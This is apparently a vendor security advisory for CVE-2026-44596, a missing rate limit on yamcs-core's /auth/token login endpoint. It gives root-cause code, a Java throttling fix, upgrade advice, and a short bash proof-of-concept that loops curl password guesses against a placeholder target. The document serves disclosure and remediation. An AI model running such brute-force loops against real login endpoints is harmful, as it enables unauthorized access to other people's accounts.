CVE-2026-44596

The authentication endpoint POST /auth/token in yamcs-core lacks any form of rate limiting, account lockout, or failed attempt throttling. As a result, an unauthenticated remote attacker can perform unlimited password guessing attempts against any user account.

This missing rate limiting vulnerability (CWE-307) significantly increases the risk of successful brute-force attacks.

Root Cause

File: yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java

POST /auth/token has no rate limiting, no lockout after failed attempts, and no CAPTCHA. The handler processes unlimited authentication requests without any throttling mechanism:

// AuthHandler.java, handleToken()
// No throttle, no failed attempt counter, no lockout
private void handleToken(HandlerContext ctx) {
    ...
    getSecurityStore().login(token).whenComplete((info, err) -> {
        // Directly attempts authentication with no rate check
    });
}

This is absent by default, the official quickstart and documentation contain no guidance on configuring rate limiting.

Proof of Concept

# 20 attempts, zero rate limiting
for i in $(seq 1 20); do
  curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
    -X POST "http://TARGET:8090/auth/token" \
    -d "grant_type=password&username=operator&password=operator12$i"
done
# All return HTTP 401, no HTTP 429 ever

Confirmed: 20 attempts in 0.07 seconds, no rate limiting enforced.

An attacker can make unlimited authentication attempts against any account. This enables efficient brute-force attacks against any account.

CVE-2026-44596 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.12.7); upgrading removes the vulnerable code path.

Kodem intelligence

Implement DRF-style throttling on /auth/token:

// Track failed attempts per IP
private static final Cache<String, Integer> FAILED_ATTEMPTS =
    CacheBuilder.newBuilder().expireAfterWrite(15, TimeUnit.MINUTES).build();

private static final int MAX_ATTEMPTS = 10;

private void handleToken(HandlerContext ctx) {
    String ip = ctx.getRemoteAddress();
    int attempts = Optional.ofNullable(FAILED_ATTEMPTS.getIfPresent(ip)).orElse(0);
    if (attempts >= MAX_ATTEMPTS) {
        throw new TooManyRequestsException("Rate limit exceeded");
    }
    // ... existing auth logic
    // On failure: FAILED_ATTEMPTS.put(ip, attempts + 1)
}

1. What is CVE-2026-44596? CVE-2026-44596 is a medium-severity security vulnerability in org.yamcs:yamcs-core (maven), affecting versions < 5.12.7. It is fixed in 5.12.7.
2. How severe is CVE-2026-44596? CVE-2026-44596 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of org.yamcs:yamcs-core are affected by CVE-2026-44596? org.yamcs:yamcs-core (maven) versions < 5.12.7 is affected.
4. Is there a fix for CVE-2026-44596? Yes. CVE-2026-44596 is fixed in 5.12.7. Upgrade to this version or later.
5. Is CVE-2026-44596 exploitable, and should I be worried? Whether CVE-2026-44596 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44596 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44596? Upgrade org.yamcs:yamcs-core to 5.12.7 or later.